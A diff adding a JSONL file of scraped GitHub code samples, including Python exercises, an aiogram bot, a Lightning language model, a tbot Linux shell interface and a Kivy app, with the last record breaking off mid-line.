diff --git "a/5440.jsonl" "b/5440.jsonl" new file mode 100644--- /dev/null +++ "b/5440.jsonl" @@ -0,0 +1,790 @@ +{"seq_id":"1784464551","text":"#coding:utf-8\r\n\r\na=\"aaa\"\r\n\r\ndef f():\r\n global a #必须使用关键字global才能指定为全局参数,否则在函数内的修改不影响外部值\r\n a=\"bbbb\" #也可以为对象 字典等\r\n print(a)\r\n\r\n\r\n\r\n\r\na1={}\r\n\r\ndef f1():\r\n #a1={\"a\":\"aaa\"} #这种赋值不会改变全局 如果当成全局使用 需要先设置为 global\r\n a1[\"a\"]=\"aaa\" #这种默认即可当成全局参数使用\r\n print(a1)\r\n \r\n\r\nif __name__==\"__main__\":\r\n print(a)\r\n f()\r\n print(a)\r\n\r\n print(a1)\r\n f1()\r\n print(a1)\r\n\r\n","repo_name":"weideguo/dba_tools","sub_path":"demo/misc/global_var_demo.py","file_name":"global_var_demo.py","file_ext":"py","file_size_in_byte":559,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"42921179339","text":"from matplotlib import pyplot as plt\nimport pandas as pd\nimport numpy as np\n\n\ndf = pd.read_csv(\"data\\experiment_outcome.csv\")\n\ndf_average = df[df[\"Trials\"] == \"Average\"]\ndf = df[df[\"Trials\"] != \"Average\"]\n\ntrials = np.arange(1, 3, 0.5)\nbar_width = .2\nx_axis_naming = [1, 2, 3, 4, \"Average\"]\n\nrange = [0.8, 3.5]\n\ndef graph_representation():\n plt.title(\"Coin outcomes\", fontdict={\"fontweight\": \"bold\", \"fontsize\": 20})\n plt.ylabel(\"Number of heads/tails (per 100 draws)\", fontdict={\"fontweight\": \"bold\"})\n plt.xlabel(\"Trials\", fontdict={\"fontweight\": \"bold\"})\n\n # Trial bars\n plt.bar(trials, df[\"Heads\"], width=bar_width, label=\"Heads\", color=\"grey\")\n plt.bar(trials + bar_width, df[\"Tails\"], width=bar_width, label=\"Tails\", color=\"blue\")\n\n #Average bars\n plt.bar([3], df_average[\"Heads\"], bar_width, label=\"Av. Heads\", color=\"yellow\")\n plt.bar([3 + bar_width], df_average[\"Tails\"], bar_width, label=\"Av. Tails\", color=\"purple\")\n\n # X and Y labels\n plt.xticks(np.arange(1, 3.5, 0.5) + bar_width/2, x_axis_naming)\n plt.yticks(np.arange(10, 70, 10))\n\n # Minimum and maximum values\n plt.plot(range, [40, 40], \"r--\")\n plt.plot(range, [60, 60], \"r--\")\n\n # Theoretical probability line\n plt.plot(range, [50, 50], \"g\")\n\n plt.legend(bbox_to_anchor=(1,1))\n plt.show()\n","repo_name":"GIftSibusiso/HEADS-TAILS-EXPERIMENT","sub_path":"visuals.py","file_name":"visuals.py","file_ext":"py","file_size_in_byte":1314,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"31718792700","text":"\"\"\"The example code of tiny llama.\n\"\"\"\nimport os\nfrom typing import Any, Dict\n\nimport lightning.pytorch as pl\nimport lightning.pytorch.loggers.wandb as wandb\nimport torch\nimport torch.nn as nn\nfrom lm.module import LanguageModule\n\n\nclass DummyCallback(pl.Callback):\n \"\"\"Used to keep the display of epoch in the command line.\"\"\"\n\n def on_fit_start(self, trainer: pl.Trainer, pl_module: pl.LightningModule) -> None:\n model = pl_module.model\n print(model)\n\n def on_train_epoch_start(\n self, trainer: pl.Trainer, pl_module: pl.LightningModule\n ) -> None:\n optimizer = trainer.optimizers[0]\n\n\nclass CustomWandbLogger(wandb.WandbLogger):\n def __init__(self, name: str, project: str, config: Dict[str, Any], **kwargs):\n batch_size, seq_len, embed_dim = (\n config[\"batch_size\"],\n config[\"seq_len\"],\n config[\"embed_dim\"],\n )\n num_heads, num_layers, dropout_ratio = (\n config[\"num_heads\"],\n config[\"num_layers\"],\n config[\"dropout_ratio\"],\n )\n experiment_name = f\"dummy-b{batch_size}-t{seq_len}-d{embed_dim}-h{num_heads}-l{num_layers}-dp{dropout_ratio}\"\n super().__init__(name=name, project=project, experiment=experiment_name)\n\n\nclass TorchScriptCallback(pl.Callback):\n def __init__(self, config: Dict[str, Any]):\n super().__init__()\n self.batch_size = config[\"batch_size\"]\n self.seq_len = config[\"seq_len\"]\n self.vocab_size = config[\"vocab_size\"]\n self.save_every_epoch = config.get(\"save_every_epoch\", 5)\n\n def on_validation_epoch_end(self, trainer, pl_module):\n current_epoch = trainer.current_epoch\n\n # Save model every x epochs\n if (current_epoch + 1) % self.save_every_epoch == 0:\n model = (\n pl_module.model\n ) # Assuming the actual model is stored in 'model' attribute\n\n try:\n scripted_model = torch.jit.script(model)\n except Exception as e:\n print(f\"Failed to script the model: {e}\")\n return\n\n # Save the model with a filename that includes the current epoch\n model_name = f\"model_epoch_{current_epoch + 1}.pt\"\n print(f\"Saving TorchScript model at epoch {current_epoch + 1}...\")\n if os.path.exists(model_name):\n os.remove(model_name)\n torch.jit.save(scripted_model, model_name)\n print(f\"TorchScript model saved as {model_name}.\")\n\n # Remove models that are too old.\n old_model_name = (\n f\"model_epoch_{(current_epoch + 1) - 3 * self.save_every_epoch}.pt\"\n )\n if os.path.exists(old_model_name):\n print(f\"Deleting old TorchScript model {old_model_name}...\")\n os.remove(old_model_name)\n\n\nclass Seq2SeqLM(pl.LightningModule):\n def __init__(\n self,\n model: LanguageModule,\n loss: nn.Module,\n vocab_size: int,\n checkpoint_dir: str = None,\n checkpoint_epoch: str = None,\n lr_schedule_interval: str = None,\n ):\n super().__init__()\n\n if checkpoint_dir is not None:\n if checkpoint_epoch is not None:\n # Load model from a specific checkpoint\n checkpoint_path = os.path.join(\n checkpoint_dir, f\"epoch={checkpoint_epoch}.ckpt\"\n )\n else:\n # Load the latest checkpoint\n list_of_files = glob.glob(os.path.join(checkpoint_dir, \"*.ckpt\"))\n checkpoint_path = max(list_of_files, key=os.path.getctime)\n\n self.model = Seq2SeqLM.load_from_checkpoint(checkpoint_path).model\n else:\n self.model = model\n\n self.lr_schedule_interval = lr_schedule_interval\n self.loss = loss\n self.vocab_size = vocab_size\n\n def forward(self, x):\n return x\n\n def training_step(self, batch, batch_idx) -> Dict[str, float]:\n x, y = batch\n config = self.model.config\n seq_len = config[\"seq_len\"]\n\n # Ensure the shape of y is as expected\n assert y.shape[1:] == (\n config[\"seq_len\"],\n ), f\"Training_step: y.shape: {y.shape}, expect: {-1, config['seq_len']}\"\n\n # Forward pass\n attn_mask = torch.triu(\n torch.full((seq_len, seq_len), float(\"-inf\"), device=x.device), diagonal=1\n )\n y_hat = self.model(x, attn_mask)\n\n # Ensure the shape of y_hat is as expected\n assert y_hat.shape == torch.Size(\n [x.shape[0], config[\"seq_len\"], self.vocab_size]\n ), f\"y_hat.shape: {y_hat.shape}, expect: {torch.Size([x.shape[0], config['seq_len'], self.vocab_size])}\"\n\n # Reshape for the loss function\n y = y.view(-1) # [batch_size * seq_len]\n y_hat = y_hat.view(-1, self.vocab_size) # [batch_size * seq_len, vocab_size]\n loss = self.loss(y_hat, y)\n\n # Log metrics\n metric_dict = {\"loss\": loss}\n self.log_dict(metric_dict, prog_bar=True, on_epoch=True, on_step=True)\n\n return metric_dict\n\n def validation_step(self, batch, batch_idx):\n x, y = batch\n config = self.model.config\n seq_len = config[\"seq_len\"]\n\n attn_mask = torch.triu(\n torch.full((seq_len, seq_len), float(\"-inf\"), device=x.device), diagonal=1\n )\n y_hat = self.model(x, attn_mask)\n\n # Reshape for the loss function\n y = y.view(-1) # [batch_size * seq_len\n y_hat = y_hat.view(-1, self.vocab_size) # [batch_size * seq_len, vocab_size]\n loss = self.loss(y_hat, y.view(-1))\n metric_dict = {\"val_loss\": loss}\n self.log_dict(metric_dict, prog_bar=True, on_epoch=True, on_step=True)\n return metric_dict\n\n def on_fit_start(self):\n \"\"\"Update the lr scheduler for step.\"\"\"\n if self.lr_schedulers and self.lr_schedule_interval == \"step\":\n for lr_scheduler_config in self.trainer.lr_scheduler_configs:\n lr_scheduler_config.interval = \"step\"\n","repo_name":"small-thinking/ml-prototype","sub_path":"ml_prototype/lm/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":6104,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"40032689468","text":"from queue import PriorityQueue\nclass Solution:\n def topKFrequent(self, nums: List[int], k: int) -> List[int]:\n n = len(nums)\n count_dict = {}\n for i in range(n):\n if nums[i] in count_dict.keys():\n count_dict[nums[i]] += 1\n else:\n count_dict[nums[i]] = 1\n stack = PriorityQueue()\n for key in count_dict.keys():\n stack.put((count_dict[key], key))\n if stack.qsize() > k:\n stack.get()\n res = []\n while not stack.empty():\n res.append(stack.get()[1])\n res.reverse()\n return res","repo_name":"Jintaimeng/Leetcode","sub_path":"链表、栈、队列/347.py","file_name":"347.py","file_ext":"py","file_size_in_byte":638,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"74270128881","text":"from aiogram import types, Dispatcher\nfrom aiogram.dispatcher import FSMContext\nfrom aiogram.dispatcher.filters import Text\nfrom data_base import query_db\nfrom aiogram.dispatcher.filters.state import State, StatesGroup\n\n\nclass FSMPurposeNameSave(StatesGroup):\n code= State()\n\n\n# Начало состояния сохранения категории\nasync def cm_start_save_purpose(message: types.Message):\n await FSMPurposeNameSave.code.set()\n await message.answer('Введите ваш персональный номер дистрибутива')\n\n\n# Отмена сохранения в бд\nasync def cancel_state(message: types.Message, state: FSMContext):\n current_state = await state.get_state()\n if current_state is None:\n return\n await state.finish()\n await message.delete()\n await message.answer('Сохранение отменено')\n await message.answer('Обращайся')\n\n\n# Сохранение названия категории\n# async def load_category_name(message: types.Message, state: FSMContext):\n# category_list = await query_db.get_categories()\n# category_text = ''\n# for category in category_list:\n# category_text += f'{category.name} -- {category.id}\\n'\n# async with state.proxy() as data:\n# data['name'] = message.text\n# await FSMPurposeNameSave.next()\n# await message.reply('Запишите номера из списка, подходящих для данной категории товаров через пробел')\n# await message.answer(category_text)\n\n\n# Сохранение в бд модели к данной категории\nasync def load_models_list(message: types.Message, state: FSMContext):\n async with state.proxy() as data:\n data['code'] = message.text\n data['user'] = message.from_user.id\n await query_db.create_code(data)\n await state.finish()\n await message.reply('Успешно!')\n\n\n# Регистрация хендлеров\ndef register_handlers_save_purpose(dp: Dispatcher):\n dp.register_message_handler(cancel_state, Text(equals='отмена', ignore_case=True), state='*')\n dp.register_message_handler(load_models_list, state=FSMPurposeNameSave.code)\n # dp.register_message_handler(load_models_list, state=FSMPurposeNameSave.category)\n\n","repo_name":"Koskay/mirra_bot","sub_path":"FSM/load_product_purpose.py","file_name":"load_product_purpose.py","file_ext":"py","file_size_in_byte":2328,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"464395397","text":"''' Задание №1\nМы сформировали текстовый файл с псевдо именами и произведением чисел. \nНапишите функцию, которая создаёт из созданного ранее файла новый с данными в формате JSON. \nИмена пишите с большой буквы. \nКаждую пару сохраняйте с новой строки.\n'''\n\nimport json\n\ndef create_json_file(input_file, output_file):\n \"\"\"\n Создает новый файл с данными в формате JSON из существующего файла с псевдо именами и произведением чисел.\n\n Args:\n input_file (str): Имя файла с псевдо именами и произведениями чисел.\n output_file (str): Имя файла для сохранения данных в формате JSON.\n \"\"\"\n data = []\n with open(input_file, 'r', encoding='utf-8') as f:\n for line in f:\n name, result = line.strip().split(' | ')\n data.append({'Имя': name.capitalize(), 'Произведение': int(result)})\n\n with open(output_file, 'w', encoding='utf-8') as f:\n json.dump(data, f, ensure_ascii=False, indent=4)\n\n\ncreate_json_file('HW_7/output.txt', 'HW_8/output.json')\n","repo_name":"xDOKBETx/PythonGB","sub_path":"HW_8/names_numbers_to_json.py","file_name":"names_numbers_to_json.py","file_ext":"py","file_size_in_byte":1378,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"2489521623","text":"import abc\nimport typing\nimport tbot\nfrom .. import shell, channel\nfrom . import path, workdir\nfrom .special import Special\n\nSelf = typing.TypeVar(\"Self\", bound=\"LinuxShell\")\n\n\nclass LinuxShell(shell.Shell):\n \"\"\"\n Base-class for linux shells.\n\n This class defines the common interface for linux shells.\n \"\"\"\n\n @abc.abstractmethod\n def escape(\n self: Self, *args: typing.Union[str, Special[Self], path.Path[Self]]\n ) -> str:\n \"\"\"\n Escape a string according to this shell's escaping rules.\n\n If multiple arguments are given, ``.escape()`` returns a string\n containing each argument as a separate shell token. This means:\n\n .. code-block:: python\n\n bash.escape(\"foo\", \"bar\")\n # foo bar\n\n bash.escape(\"foo bar\", \"baz\")\n # \"foo bar\" baz\n\n :param \\\\*args: Arguments to be escaped. See :ref:`linux-argtypes` for details.\n :returns: A string with quoted/escaped versions of the input arguments.\n \"\"\"\n raise NotImplementedError(\"abstract method\")\n\n def build_command(\n self: Self, *args: typing.Union[str, Special[Self], path.Path[Self]]\n ) -> str:\n tbot.log.warning(\n \"The `build_command()` method is deprecated. Please use `escape()` instead.\"\n )\n return self.escape(*args)\n\n @abc.abstractmethod\n def exec(\n self: Self, *args: typing.Union[str, Special[Self], path.Path[Self]]\n ) -> typing.Tuple[int, str]:\n \"\"\"\n Run a command on this machine/shell.\n\n **Example**:\n\n .. code-block:: python\n\n retcode, output = mach.exec(\"uname\", \"-a\")\n assert retcode == 0\n\n :param \\\\*args: The command as separate arguments per command-line\n token. See :ref:`linux-argtypes` for more info.\n :rtype: tuple(int, str)\n :returns: A tuple with the return code of the command and its console\n output. Note that the output is ``stdout`` and ``stderr`` merged.\n It will also contain a trailing newline in most cases.\n \"\"\"\n raise NotImplementedError(\"abstract method\")\n\n @abc.abstractmethod\n def exec0(\n self: Self, *args: typing.Union[str, Special[Self], path.Path[Self]]\n ) -> str:\n \"\"\"\n Run a command and assert its return code to be 0.\n\n **Example**:\n\n .. code-block:: python\n\n output = mach.exec0(\"uname\", \"-a\")\n\n # This will raise an exception!\n mach.exec0(\"false\")\n\n :param \\\\*args: The command as separate arguments per command-line\n token. See :ref:`linux-argtypes` for more info.\n :rtype: str\n :returns: The command's console output. Note that the output is\n ``stdout`` and ``stderr`` merged. It will also contain a trailing\n newline in most cases.\n \"\"\"\n raise NotImplementedError(\"abstract method\")\n\n @abc.abstractmethod\n def test(\n self: Self, *args: typing.Union[str, Special[Self], path.Path[Self]]\n ) -> bool:\n \"\"\"\n Run a command and return a boolean value whether it succeeded.\n\n **Example**:\n\n .. code-block:: python\n\n if lnx.test(\"which\", \"dropbear\"):\n tbot.log.message(\"Dropbear is installed!\")\n\n :param \\\\*args: The command as separate arguments per command-line\n token. See :ref:`linux-argtypes` for more info.\n :rtype: bool\n :returns: Boolean representation of commands success. ``True`` if\n return code was ``0``, ``False`` otherwise.\n \"\"\"\n raise NotImplementedError(\"abstract method\")\n\n @abc.abstractmethod\n def env(\n self: Self, var: str, value: typing.Union[str, path.Path[Self], None] = None\n ) -> str:\n \"\"\"\n Get or set an environment variable.\n\n **Example**:\n\n .. code-block:: python\n\n # Get the value of a var\n value = lnx.env(\"PATH\")\n\n # Set the value of a var\n lnx.env(\"DEBIAN_FRONTEND\", \"noninteractive\")\n\n :param str var: Environment variable name.\n :param tbot.machine.linux.Path,\\\\ str value: Optional value to set the\n variable to.\n :rtype: str\n :returns: Current (new) value of the environment variable.\n \"\"\"\n raise NotImplementedError(\"abstract method\")\n\n @abc.abstractmethod\n def open_channel(\n self: Self, *args: typing.Union[str, Special[Self], path.Path[Self]]\n ) -> channel.Channel:\n \"\"\"\n Transform this machine into a channel for something else by running a command.\n\n This is meant to be used for tools like ``picocom`` which connect the\n terminal to a serial console.\n\n **Example**:\n\n .. code-block:: python\n\n ch = lnx.open_channel(\"picocom\", \"-b\", \"115200\", \"/dev/ttyUSB0\")\n\n # You can now interact with the channel for the serial console directly\n\n :rtype: tbot.machine.channel.Channel\n \"\"\"\n raise NotImplementedError(\"abstract method\")\n\n @abc.abstractmethod\n def interactive(self) -> None:\n \"\"\"\n Start an interactive session on this machine.\n\n This method will connect tbot's stdio to the machine's channel so you\n can interactively run commands. This method is used by the\n ``interactive_lab`` and ``interactive_linux`` testcases.\n \"\"\"\n raise NotImplementedError(\"abstract method\")\n\n @abc.abstractmethod\n def subshell(self: Self) -> typing.ContextManager[Self]:\n \"\"\"\n Start a subshell environment.\n\n Sometimes you need to isolate certain tests into their own shell\n environment. This method returns a context manager which does this:\n\n .. code-block:: python\n\n lnx.env(\"FOO\", \"bar\")\n\n with lnx.subshell():\n lnx.env(\"FOO\", \"baz\")\n\n assert lnx.env(\"FOO\") == \"bar\"\n \"\"\"\n pass\n\n @property\n def username(self) -> str:\n \"\"\"Current username.\"\"\"\n return self.env(\"USER\")\n\n @property\n def fsroot(self: Self) -> path.Path[Self]:\n \"\"\"\n Path to the filesystem root of this machine, for convenience.\n\n .. code-block:: python\n\n p = lnx.fsroot / \"usr\" / \"lib\"\n assert p.is_dir()\n \"\"\"\n return path.Path(self, \"/\")\n\n @property\n def workdir(self: Self) -> path.Path[Self]:\n \"\"\"\n Path to a directory which testcases can use to store files in.\n\n If configured properly, tbot will make sure this directory exists.\n Testcases should be able to deal with corrupt or missing files in this\n directory. Implementations should use :py:class:`tbot.machine.linux.Workdir`.\n\n **Example**:\n\n .. code-block:: python\n\n # This is the defaut implementation\n def workdir(self):\n return linux.Workdir(self, \"/tmp/tbot-wd\")\n \"\"\"\n return workdir.Workdir.static(self, \"/tmp/tbot-wd\")\n","repo_name":"sjg20/tbot","sub_path":"tbot/machine/linux/linux_shell.py","file_name":"linux_shell.py","file_ext":"py","file_size_in_byte":7050,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"75"} +{"seq_id":"30552015811","text":"mylist=[2,5,4,1,7,8,9,9,9,9]\nmylist1=list(set(mylist))\n\nmax1=max(mylist1)\nflag=0\nfor i in mylist1:\n flag=flag+1\n if(i==max1):\n flag=i\n break\nmylist1.pop(flag)\nprint(max(mylist1))\n","repo_name":"AdiShenz98/CodeAsylums---Winter-Bootcamp","sub_path":"Python/Day 1/Program3-Second max no in list/secondmax.py","file_name":"secondmax.py","file_ext":"py","file_size_in_byte":199,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"11855749165","text":"''' 因子研究 - 回測結果分析 '''\r\n\r\nimport pandas as pd\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\nclass Report:\r\n \r\n def __init__(self, factor: pd.DataFrame, payoff: pd.DataFrame, payoff_table: pd.DataFrame, equity_table: pd.DataFrame):\r\n \"\"\"\r\n 因子表、當沖報酬表、每日報酬表、每日淨值表\r\n \"\"\"\r\n self.factor = factor\r\n self.payoff = payoff\r\n self.payoff_table = payoff_table\r\n self.equity_table = equity_table\r\n\r\n def display(self, name: str = 'Unnamed Factor'):\r\n \"\"\"\r\n 繪製淨值走勢圖\r\n \"\"\"\r\n ### 分組淨值走勢\r\n plt.style.use('bmh')\r\n plt.figure(figsize=(12, 6), dpi=200)\r\n for col in self.equity_table.columns:\r\n if col[0] == 'G':\r\n plt.plot(self.equity_table[col], label=col)\r\n plt.legend()\r\n plt.ylabel('Equity')\r\n plt.xlabel('Time')\r\n plt.title('Grouping Result', fontsize=16)\r\n\r\n ### 多空對沖淨值走勢\r\n plt.style.use('bmh')\r\n plt.figure(figsize=(12, 6), dpi=200)\r\n plt.plot(self.equity_table.hedge, label='hedge')\r\n plt.plot(self.equity_table.benchmark, label='benchmark')\r\n plt.legend()\r\n plt.ylabel('Equity')\r\n plt.xlabel('Time')\r\n plt.title(name, fontsize=16)\r\n\r\n def stats(self):\r\n \"\"\"\r\n 詳細回測數據\r\n \"\"\"\r\n factor_rank = self.factor.rank(axis=1)\r\n payoff_rank = self.payoff.rank(axis=1)\r\n ic = self.payoff.corrwith(self.factor.shift(1), axis=1)\r\n ic_rank = payoff_rank.corrwith(factor_rank.shift(1), axis=1)\r\n ir = (ic.mean() / ic.std()) * np.sqrt(252)\r\n ir_rank = (ic_rank.mean() / ic_rank.std()) * np.sqrt(252)\r\n period = len(self.payoff_table.index)\r\n totalRet = self.equity_table.hedge[-1] - 1\r\n totalRetBM = self.equity_table.benchmark[-1] - 1\r\n ret = (1+totalRet)**(252/period) - 1 if totalRet > -1 else -((1-totalRet)**(252/period) - 1)\r\n retBM = (1+totalRetBM)**(252/period) - 1 if totalRetBM > -1 else -((1-totalRetBM)**(252/period) - 1)\r\n vol = self.payoff_table.hedge.std() * np.sqrt(252)\r\n mdd = abs((self.equity_table.hedge / self.equity_table.hedge.cummax() - 1).min())\r\n winRate = (self.payoff_table.hedge > 0).sum() / len(self.payoff_table.hedge)\r\n info = (self.payoff_table.excess_return.mean() / self.payoff_table.excess_return.std()) * np.sqrt(252)\r\n\r\n result = pd.Series(\r\n data=[\r\n np.round(ic.mean(), 2),\r\n np.round(ic_rank.mean(), 2),\r\n np.round(ir, 2),\r\n np.round(ir_rank, 2),\r\n np.round(totalRet*100, 2),\r\n np.round(totalRetBM*100, 2),\r\n np.round(ret*100, 2),\r\n np.round(retBM*100, 2),\r\n np.round(vol*100, 2),\r\n np.round(mdd*100, 2),\r\n np.round(winRate*100, 2),\r\n np.round(info, 2)\r\n ],\r\n index=[\r\n 'IC Mean',\r\n 'Rank IC',\r\n 'ICIR',\r\n 'Rank ICIR',\r\n 'Total Return [%]',\r\n 'Total Benchmark Return [%]',\r\n 'Return [%]',\r\n 'Benchmark Return [%]',\r\n 'Volatility [%]',\r\n 'MDD [%]',\r\n 'Win Rate [%]',\r\n 'Information Ratio'\r\n ]\r\n )\r\n\r\n return result","repo_name":"kuanhsu0627/Factor-Analysis","sub_path":"report.py","file_name":"report.py","file_ext":"py","file_size_in_byte":3528,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"16201966092","text":"import sys\nimport csv\nfrom pathlib import Path\nfrom build_graphs import load_structures, write_graphs\nfrom graph_loading import Helper_Funcs\nfrom bio_graph import Bio_Graph\nfrom tempfile import TemporaryDirectory\n\nMASSES = \"./masses.csv\"\nMODS = \"./mods.csv\"\n\nif __name__ == \"__main__\":\n ms1_file = sys.argv[1]\n out_dir = sys.argv[2]\n mols = load_structures(ms1_file)\n with TemporaryDirectory() as tmp:\n for mol in mols:\n write_graphs(mol, tmp)\n p = Path(tmp)\n for node_file in p.glob(\"* NL.csv\"):\n parent = node_file.parent\n structure_name = node_file.name.removesuffix(\" NL.csv\")\n edge_file = parent / (structure_name + \" EL.csv\")\n hf = Helper_Funcs(node_file, edge_file)\n masses = hf.generate_dict(MASSES)\n mods = hf.generate_dict(MODS)\n bg = Bio_Graph(hf.nodes_df(), hf.edges_df(), masses, mods)\n graph = bg.construct_graph()\n fragments = bg.fragmentation(graph, cut_limit=3)\n nfrags, cfrags, ifrags = bg.sort_fragments(fragments)\n with open(Path(out_dir) / f\"{structure_name} Fragments.csv\", \"w\") as f:\n ff = csv.writer(f)\n ff.writerow([\"Type\", \"Mass\", \"Parts\"])\n for id, frag in [\n (id, [mol for _, mol in frag.nodes(data=\"molecule_ID\")])\n for id, frag in fragments.items()\n ]:\n if id in nfrags:\n type = \"N-Terminal\"\n if id in cfrags:\n type = \"C-Terminal\"\n if id in ifrags:\n type = \"Internal\"\n mass = bg.monoisotopic_mass_calculator(fragments, [id])[0][0][0]\n ff.writerow([type, mass, frag])\n","repo_name":"TheLostLambda/ms2graphs","sub_path":"fragment_structure/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1824,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"43330831368","text":"\nimport csv\n\ndef readResult(fileName):\n label2result = {}\n with open(fileName, 'r') as csvFile:\n CSVreader = csv.reader(csvFile, skipinitialspace=True, delimiter=',')\n first = True\n for row in CSVreader:\n if first:\n first = False\n continue\n label = row[0]\n res = row[1]\n label2result[label] = res\n return label2result\n\ndef main():\n label2result = readResult('./results.csv')\n outputFile = open('./finalRes.csv', 'w')\n CSVwriter = csv.writer(outputFile)\n with open('./test.csv', 'r') as csvFile:\n CSVreader = csv.reader(csvFile, skipinitialspace=True, delimiter=',')\n first = True\n for row in CSVreader:\n if first:\n first = False\n continue\n label = row[0]\n if label in label2result.keys():\n CSVwriter.writerow((label, label2result[label]))\n else:\n CSVwriter.writerow((label, '0 0.0'))\n outputFile.close()\n\n\nif __name__ == \"__main__\":\n main()\n\n","repo_name":"shpda/landmarks","sub_path":"script/combine.py","file_name":"combine.py","file_ext":"py","file_size_in_byte":1089,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"33671867046","text":"\"\"\"\nesempio di banners pubblicitari che compaiono automaticamente\na seconda del testo che uno sta scrivendo\n\"\"\"\n\nfrom kivy.app import App\nfrom kivy.uix.button import Button\nfrom kivy.uix.label import Label\nfrom kivy.uix.textinput import TextInput\nfrom kivy.uix.boxlayout import BoxLayout\nfrom kivy.uix.image import Image\nfrom kivy.config import Config\n\nConfig.set( 'graphics', 'width', '550' )\nConfig.set( 'graphics', 'height', '400' )\n\n\nimg0 = \"imgs/black.jpg\"\nimgs = {\n \"viagg\" : \"imgs/low_cost.jpg\",\n \"banan\" : \"imgs/chiquita.jpg\",\n \"auto\" : \"imgs/bentley.jpg\"\n}\n\nclass Widg( BoxLayout ):\n\n def on_text( self, *args ):\n \"\"\"\n questa funzione viene eseguita per ogni nuovo carattere che viene immesso nella finestra\n di testo, e nell'intero testo scritto viene verificato se compare una delle parole chiave\n del dizionario imgs, in caso positivo viene mostrata l'immagine corrispondente\n se una chiave corrisponde ad un banner appena utilizzato, non si fa nulla\n \"\"\"\n self.s = self.txt.text\n for k in imgs.keys():\n if k in self.ban:\n continue\n if k in self.s:\n self.img.source = imgs[ k ]\n self.ban.append( k )\n break\n\n\n def clear( self, *args ):\n \"\"\"\n ripristina la finestra di testo e carica un'immagine neutrale nello spazio dei banners\n \"\"\"\n self.txt.text = \"\"\n self.img.source = img0\n self.ban = []\n\n\n def __init__( self ):\n \"\"\"\n inizializza la classe, che e` sottoclasse di BoxLayout, inserendo le componenti:\n - TextInput dove puo' essere sxcritto il testo\n - Image dove verra` visualizzato il banner\n - Button che serve a ripristinare l'interfaccia\n notare che la componente TextInput viene legata (\"bind\") all'evento \"text\", che corrisponde\n all'inserimento di un singolo carattere nella finestra di testo\n la variabile self.ban contiene l'elenco dei banner usati, inizialmente una lista vuota\n \"\"\"\n super( Widg, self ).__init__( orientation='vertical', spacing=20 )\n self.ban = []\n self.but = Button( text='clear', font_size=24, bold=True, size_hint=( 1, 0.2 ) )\n self.txt = TextInput( multiline=True, font_size=24 )\n self.img = Image( source=img0 )\n self.txt.bind( text=self.on_text )\n self.but.bind( on_release=self.clear )\n self.add_widget( self.txt )\n self.add_widget( self.but )\n self.add_widget( self.img )\n\nclass banner( App ):\n def build( self ):\n return Widg()\n\nif __name__ == '__main__':\n banner().run()\n","repo_name":"alex-me/py_master","sub_path":"kivy/banners.py","file_name":"banners.py","file_ext":"py","file_size_in_byte":2757,"program_lang":"python","lang":"it","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"6609087077","text":"# Автор: Калашников Елисей\n# Группа: ИУ7-15Б\n# Вариант 9\n# Назначение программы: \n# 4. Найти наиболее длинную непрерывную Убывающая последовательность\n# отрицательных чисел, модуль которых является простым числом.\n\n# Ввод длины списка\nwhile True:\n n = float(input('Введите длину списка: '))\n if n < 0:\n print(\"Длина списка должна быть больше 0\")\n elif int(n) != n:\n print(\"Длина списка должна быть целочисленной\")\n else:\n n = int(n)\n break\n\narr = []\n\n# Ввод списка\nfor i in range(n):\n while True:\n elem = float(input(f\"Введите {i + 1} элемент массива: \"))\n if int(elem) != elem:\n print(\"Значение должно быть целочисленным\")\n else:\n elem = int(elem)\n arr.append(elem)\n break\nk = 0\n\nprime = False\n# Проверяем первый элемент списка на простое число\nnum = arr[0]\nif num < 0:\n prime = True\n num = -num\n prime = num != 1\n d = 2\n while d**2 < num and prime:\n if num % d == 0:\n prime = False\n else:\n d += 1\n \n# k = 1 если первое число удовл. условиям, иначе k=0\nk = int(prime is True)\nmax_posl = k\nfor i in range(1, n):\n if arr[i] < arr[i - 1] and arr[i] < 0 and arr[i - 1] < 0:\n num = -arr[i]\n # Алгоритм проверки на простое число\n prime = num != 1\n d = 2\n while d**2 <= num and prime:\n if num % d == 0:\n prime = False\n else:\n d += 1\n if prime:\n if k == 0:\n k = 2\n else:\n k += 1\n if max_posl < k:\n max_posl = k\n max_index = i\n else:\n k = 0\n else:\n k = 0\n\n# Вывод\nprint(\"Наибольшая убывающая последовательность отрицательных чисел:\", end=' ')\nfor i in range(max_index - max_posl + 1, max_index + 1):\n print(arr[i], end=' ')\nprint()\n","repo_name":"ofdun/BMSTU-Programming","sub_path":"laba6/4.py","file_name":"4.py","file_ext":"py","file_size_in_byte":2402,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"12575152075","text":"import json\n\nimport aiohttp\nimport discord\n\nfrom sigma.core.utilities.generic_responses import GenericResponse\n\n\nasync def shortenurl(cmd, pld):\n \"\"\"\n :param cmd: The command object referenced in the command.\n :type cmd: sigma.core.mechanics.command.SigmaCommand\n :param pld: The payload with execution data and details.\n :type pld: sigma.core.mechanics.payload.CommandPayload\n \"\"\"\n text_cont = None\n if cmd.cfg.access_token:\n if pld.args:\n if pld.args[-1].lower() == 'text':\n text_mode = True\n long_url = '%20'.join(pld.args[:-1])\n else:\n text_mode = False\n long_url = '%20'.join(pld.args)\n api_url = 